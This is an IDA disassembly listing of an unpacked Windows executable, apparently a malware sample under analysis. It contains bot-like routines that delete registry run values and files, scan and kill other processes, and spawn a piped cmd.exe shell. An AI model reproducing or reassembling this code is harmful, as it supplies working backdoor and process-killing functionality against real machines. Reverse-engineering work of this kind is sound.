;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	6247DBAD260B0985ADADDA2C01EE8C61

; File Name   :	u:\work\6247dbad260b0985adadda2c01ee8c61_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00020000 ( 131072.)
; Offset to raw	data for section: 00001000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401146+31p
					; sub_401146+43p ...

var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40101A
; ---------------------------------------------------------------------------


loc_401013:				; CODE XREF: sub_401000+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40101A:				; CODE XREF: sub_401000+11j
		mov	eax, [ebp+var_4]
		cmp	off_418000[eax*4], 0
		jz	loc_401141
		mov	eax, [ebp+var_4]
		push	off_418000[eax*4]
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_110]
		push	eax
		push	3
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	dword_417008	; RegOpenKeyExA
		and	[ebp+var_220], 0
		jmp	short loc_401081
; ---------------------------------------------------------------------------


loc_401074:				; CODE XREF: sub_401000:loc_40112Bj
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_401081:				; CODE XREF: sub_401000+72j
		mov	[ebp+var_21C], 104h
		mov	[ebp+var_224], 104h
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		lea	eax, [ebp+var_21C]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_220]
		push	[ebp+var_110]
		call	dword_417000	; RegEnumValueA
		mov	[ebp+var_264], eax
		cmp	[ebp+var_264], 0
		jz	short loc_4010DD
		jmp	short loc_401130
; ---------------------------------------------------------------------------


loc_4010DD:				; CODE XREF: sub_401000+D9j
		cmp	[ebp+var_114], 1
		jnz	short loc_40112B
		push	[ebp+arg_4]
		push	[ebp+var_224]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_268], eax
		cmp	[ebp+var_268], 0
		jz	short loc_40112B
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_110]
		call	dword_417004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_40112B
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40112B:				; CODE XREF: sub_401000+E4j
					; sub_401000+10Bj ...
		jmp	loc_401074
; ---------------------------------------------------------------------------


loc_401130:				; CODE XREF: sub_401000+DBj
		push	[ebp+var_110]
		call	dword_417028	; RegCloseKey
		jmp	loc_401013
; ---------------------------------------------------------------------------


loc_401141:				; CODE XREF: sub_401000+25j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401146	proc near		; CODE XREF: sub_401244+459p
					; sub_40A9CF+A72p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	80h
		push	[ebp+arg_0]
		call	dword_4170A8	; SetFileAttributesA
		test	eax, eax
		jnz	short loc_401166
		jmp	locret_401242
; ---------------------------------------------------------------------------


loc_401166:				; CODE XREF: sub_401146+19j
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		push	[ebp+arg_0]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	locret_401242
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_10C], eax
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------


loc_4011CE:				; CODE XREF: sub_401146:loc_40121Aj
		mov	eax, [ebp+var_10C]
		dec	eax
		mov	[ebp+var_10C], eax


loc_4011DB:				; CODE XREF: sub_401146+86j
		cmp	[ebp+var_10C], 0
		jz	short loc_40121C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10C]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 5Ch
		jnz	short loc_40121A
		push	104h
		mov	eax, [ebp+var_10C]
		lea	eax, [ebp+eax+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40121C
; ---------------------------------------------------------------------------


loc_40121A:				; CODE XREF: sub_401146+AEj
		jmp	short loc_4011CE
; ---------------------------------------------------------------------------


loc_40121C:				; CODE XREF: sub_401146+9Cj
					; sub_401146+D2j
		lea	eax, [ebp+var_108]
		push	eax
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx

locret_401242:				; CODE XREF: sub_401146+1Bj
					; sub_401146+56j
		leave
		retn
sub_401146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401244	proc near		; DATA XREF: sub_4017AA+9Do

var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= byte ptr -3CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= byte ptr -2A8h
var_2A7		= dword	ptr -2A7h
var_2A3		= byte ptr -2A3h
var_1A3		= byte ptr -1A3h
var_B		= byte ptr -0Bh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3E8h
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2AC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_40129D
		lea	eax, [ebp+var_2A3]
		push	eax
		mov	eax, [ebp+var_2AC]
		push	dword ptr [eax]
		push	offset dword_418144
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40129D:				; CODE XREF: sub_401244+34j
		call	sub_406041
		mov	[ebp+var_2B4], eax
		cmp	[ebp+var_2B4], 0
		jnz	short loc_4012C4
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4017A4
; ---------------------------------------------------------------------------


loc_4012C4:				; CODE XREF: sub_401244+6Bj
		push	10000h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2B8], eax
		and	[ebp+var_2BC], 0
		and	[ebp+var_2B0], 0
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------


loc_4012E5:				; CODE XREF: sub_401244+E2j
					; sub_401244+12Bj ...
		mov	eax, [ebp+var_2B0]
		inc	eax
		mov	[ebp+var_2B0], eax


loc_4012F2:				; CODE XREF: sub_401244+9Fj
		mov	eax, [ebp+var_2B4]
		mov	ecx, [ebp+var_2B0]
		cmp	ecx, [eax]
		jge	loc_401710
		mov	esi, [ebp+var_2B0]
		imul	esi, 114h
		mov	eax, [ebp+var_2B4]
		mov	edi, [eax+4]
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[edi+esi], eax
		jnz	short loc_401328
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------


loc_401328:				; CODE XREF: sub_401244+E0j
		push	104h
		lea	eax, [ebp+var_3CC]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401374:				; CODE XREF: sub_401244+129j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		movzx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		add	eax, 11h
		push	eax
		call	dword_417094	; OpenProcess
		mov	[ebp+var_2C4], eax
		cmp	[ebp+var_2C4], 0
		jnz	short loc_4013B7
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_4013B7:				; CODE XREF: sub_401244+16Cj
		and	[ebp+var_2C0], 0
		and	[ebp+var_2C8], 0


loc_4013C5:				; CODE XREF: sub_401244:loc_4016FAj
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		cmp	eax, 10000h
		jbe	short loc_4013F7
		mov	[ebp+var_3E8], 10000h
		jmp	short loc_40141C
; ---------------------------------------------------------------------------


loc_4013F7:				; CODE XREF: sub_401244+1A5j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		mov	[ebp+var_3E8], eax


loc_40141C:				; CODE XREF: sub_401244+1B1j
		mov	eax, [ebp+var_3E8]
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_3D0]
		push	[ebp+var_2B8]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_2C4]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_3D4], eax
		cmp	[ebp+var_3D4], 0
		jz	loc_4016C5
		cmp	[ebp+var_2C8], 0
		jz	loc_4016C5
		and	[ebp+var_3D8], 0
		and	[ebp+var_3DC], 0


loc_401495:				; DATA XREF: .data:0041AD00o
		jmp	short loc_4014A4
; ---------------------------------------------------------------------------


loc_401497:				; CODE XREF: sub_401244:loc_4015DBj
		mov	eax, [ebp+var_3DC]
		inc	eax
		mov	[ebp+var_3DC], eax


loc_4014A4:				; CODE XREF: sub_401244:loc_401495j
		mov	eax, [ebp+var_2C8]
		sub	eax, [ebp+var_2A7]
		cmp	[ebp+var_3DC], eax
		ja	loc_4015E0
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	loc_4015DB


loc_401514:				; CODE XREF: sub_401244+290j
					; sub_401244+2ADj
		mov	[ebp+var_3E0], 1
		jmp	short loc_40152D
; ---------------------------------------------------------------------------


loc_401520:				; CODE XREF: sub_401244:loc_4015D6j
		mov	eax, [ebp+var_3E0]
		inc	eax
		mov	[ebp+var_3E0], eax


loc_40152D:				; CODE XREF: sub_401244+2DAj
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		test	eax, eax
		jnz	short loc_401556
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		mov	[ebp+var_3D8], eax
		jmp	loc_40179F
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: sub_401244+2F9j
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		jmp	short loc_4015DB
; ---------------------------------------------------------------------------


loc_4015D6:				; CODE XREF: sub_401244+338j
					; sub_401244+363j ...
		jmp	loc_401520
; ---------------------------------------------------------------------------


loc_4015DB:				; CODE XREF: sub_401244+2CAj
					; sub_401244+390j
		jmp	loc_401497
; ---------------------------------------------------------------------------


loc_4015E0:				; CODE XREF: sub_401244+272j
					; sub_401244:loc_40179Fj
		cmp	[ebp+var_3D8], 0
		jz	loc_4016C5
		mov	eax, [ebp+var_2BC]
		inc	eax
		mov	[ebp+var_2BC], eax
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401675
		push	3E8h
		call	dword_41709C	; Sleep
		mov	al, [ebp+var_B]
		mov	[ebp+var_3E4], al
		and	[ebp+var_B], 0
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_41811C
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		mov	al, [ebp+var_3E4]
		mov	[ebp+var_B], al
		jmp	short loc_4016A3
; ---------------------------------------------------------------------------


loc_401675:				; CODE XREF: sub_401244+3BFj
		push	0
		push	[ebp+var_2C4]
		call	dword_4170A0	; TerminateProcess
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_401146
		pop	ecx


loc_4016A3:				; CODE XREF: sub_401244+42Fj
		mov	eax, [ebp+var_2AC]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4016C0
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_40179A
; ---------------------------------------------------------------------------


loc_4016C0:				; CODE XREF: sub_401244+469j
		jmp	loc_401795
; ---------------------------------------------------------------------------


loc_4016C5:				; CODE XREF: sub_401244+230j
					; sub_401244+23Dj ...
		mov	eax, [ebp+var_2C0]
		add	eax, [ebp+var_3D0]
		mov	[ebp+var_2C0], eax
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_2C0]
		cmp	edx, [ecx+eax+8]
		jnz	short loc_4016FA
		jmp	short loc_4016FF
; ---------------------------------------------------------------------------


loc_4016FA:				; CODE XREF: sub_401244+4B2j
		jmp	loc_4013C5
; ---------------------------------------------------------------------------


loc_4016FF:				; CODE XREF: sub_401244+4B4j
					; sub_401244:loc_401795j
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401710:				; CODE XREF: sub_401244+BCj
					; sub_401244:loc_40179Aj
		push	[ebp+var_2B4]
		call	sub_40636E
		pop	ecx
		push	[ebp+var_2B8]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401785
		push	3E8h
		call	dword_41709C	; Sleep
		cmp	[ebp+var_2BC], 0
		jnz	short loc_401764
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_4180F8
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_401785
; ---------------------------------------------------------------------------


loc_401764:				; CODE XREF: sub_401244+501j
		lea	eax, [ebp+var_2A3]
		push	eax
		push	[ebp+var_2BC]
		push	offset dword_4180CC
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_401785:				; CODE XREF: sub_401244+4EDj
					; sub_401244+51Ej
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_4017A4
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: sub_401244:loc_4016C0j
		jmp	loc_4016FF
; ---------------------------------------------------------------------------


loc_40179A:				; CODE XREF: sub_401244+477j
		jmp	loc_401710
; ---------------------------------------------------------------------------


loc_40179F:				; CODE XREF: sub_401244+30Dj
		jmp	loc_4015E0
; ---------------------------------------------------------------------------


loc_4017A4:				; CODE XREF: sub_401244+7Bj
					; sub_401244+54Fj
		pop	edi
		pop	esi
		leave
		retn	4
sub_401244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017AA	proc near		; CODE XREF: sub_40A9CF+AA1p
					; sub_40A9CF+AD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_4017C2
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		test	eax, eax
		jnz	short loc_4017C7


loc_4017C2:				; CODE XREF: sub_4017AA+9j
		jmp	locret_401854
; ---------------------------------------------------------------------------


loc_4017C7:				; CODE XREF: sub_4017AA+16j
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4017DD
		jmp	short locret_401854
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: sub_4017AA+2Fj
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+4], cl
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+5], eax
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 9
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 109h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_401830
		mov	[ebp+var_8], offset aListing ; "Listing"
		jmp	short loc_401837
; ---------------------------------------------------------------------------


loc_401830:				; CODE XREF: sub_4017AA+7Bj
		mov	[ebp+var_8], offset aKilling ; "Killing"


loc_401837:				; CODE XREF: sub_4017AA+84j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	offset dword_418174
		push	0
		push	[ebp+var_4]
		push	offset sub_401244
		call	sub_4095A4
		add	esp, 18h

locret_401854:				; CODE XREF: sub_4017AA:loc_4017C2j
					; sub_4017AA+31j
		leave
		retn
sub_4017AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401856	proc near		; CODE XREF: sub_401981+A8p
					; sub_401981+E1p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41DE24, 0FFFFFFFFh
		jz	short loc_40186E
		push	dword_41DE24
		call	dword_4170A4	; CloseHandle


loc_40186E:				; CODE XREF: sub_401856+Aj
		cmp	dword_41DE18, 0FFFFFFFFh
		jz	short loc_401883
		push	dword_41DE18
		call	dword_4170A4	; CloseHandle


loc_401883:				; CODE XREF: sub_401856+1Fj
		cmp	dword_41DE1C, 0FFFFFFFFh
		jz	short loc_401898
		push	dword_41DE1C
		call	dword_4170A4	; CloseHandle


loc_401898:				; CODE XREF: sub_401856+34j
		cmp	dword_41DE20, 0FFFFFFFFh
		jz	short loc_4018AD
		push	dword_41DE20
		call	dword_4170A4	; CloseHandle


loc_4018AD:				; CODE XREF: sub_401856+49j
		pop	ebp
		retn
sub_401856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018AF	proc near		; CODE XREF: sub_401981+28Ap
					; sub_401981+395p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jnz	short loc_4018D4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401922


loc_4018D4:				; CODE XREF: sub_4018AF+15j
					; sub_4018AF:loc_401920j
		push	32h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jz	short loc_4018FE
		call	sub_416B64	; clock
		sub	eax, dword_41DE2C
		cmp	eax, 1F4h
		jb	short loc_4018FE
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_4018FE:				; CODE XREF: sub_4018AF+39j
					; sub_4018AF+4Bj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401920
		call	sub_416B64	; clock
		sub	eax, dword_41DE2C
		cmp	eax, 0FAh
		jb	short loc_401920
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_401920:				; CODE XREF: sub_4018AF+5Bj
					; sub_4018AF+6Dj
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------


loc_401922:				; CODE XREF: sub_4018AF+23j
					; sub_4018AF+4Dj ...
		call	sub_416B64	; clock
		mov	dword_41DE2C, eax
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_401942
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_401957


loc_401942:				; CODE XREF: sub_4018AF+86j
		push	offset dword_4181A4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40196E
; ---------------------------------------------------------------------------


loc_401957:				; CODE XREF: sub_4018AF+91j
		push	200h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_40196E:				; CODE XREF: sub_4018AF+A6j
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		leave
		retn
sub_4018AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401981	proc near		; DATA XREF: sub_401D6E+88o

var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_714		= dword	ptr -714h
var_510		= byte ptr -510h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_334		= dword	ptr -334h
var_330		= word ptr -330h
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= byte ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 730h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_714]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, 1F4h
		mov	dword_41DE2C, eax
		push	0
		lea	eax, [ebp+var_30C]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe	; "cmd.exe"
		push	0
		call	dword_41706C	; SearchPathA
		test	eax, eax
		jnz	short loc_4019ED
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_4019ED:				; CODE XREF: sub_401981+57j
		mov	[ebp+var_318], 0Ch
		mov	[ebp+var_310], 1
		and	[ebp+var_314], 0
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A41
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A41:				; CODE XREF: sub_401981+A6j
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_728]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A7A
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A7A:				; CODE XREF: sub_401981+DFj
		push	3
		push	0
		push	0
		push	offset dword_41DE20
		call	dword_417074	; GetCurrentProcess
		push	eax
		push	[ebp+var_36C]
		call	dword_417074	; GetCurrentProcess
		push	eax
		call	dword_4170F0	; DuplicateHandle
		test	eax, eax
		jnz	short loc_401ABB
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_401981+120j
		push	10h
		push	0
		lea	eax, [ebp+var_724]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_360], 44h
		mov	[ebp+var_334], 101h
		and	[ebp+var_330], 0
		mov	eax, [ebp+var_728]
		mov	[ebp+var_328], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_324], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_320], eax
		lea	eax, [ebp+var_724]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset byte_41DE30
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_41707C	; CreateProcessA
		test	eax, eax
		jnz	short loc_401B69
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401B69:				; CODE XREF: sub_401981+1CEj
		push	[ebp+var_728]
		call	dword_4170A4	; CloseHandle
		mov	eax, [ebp+var_364]
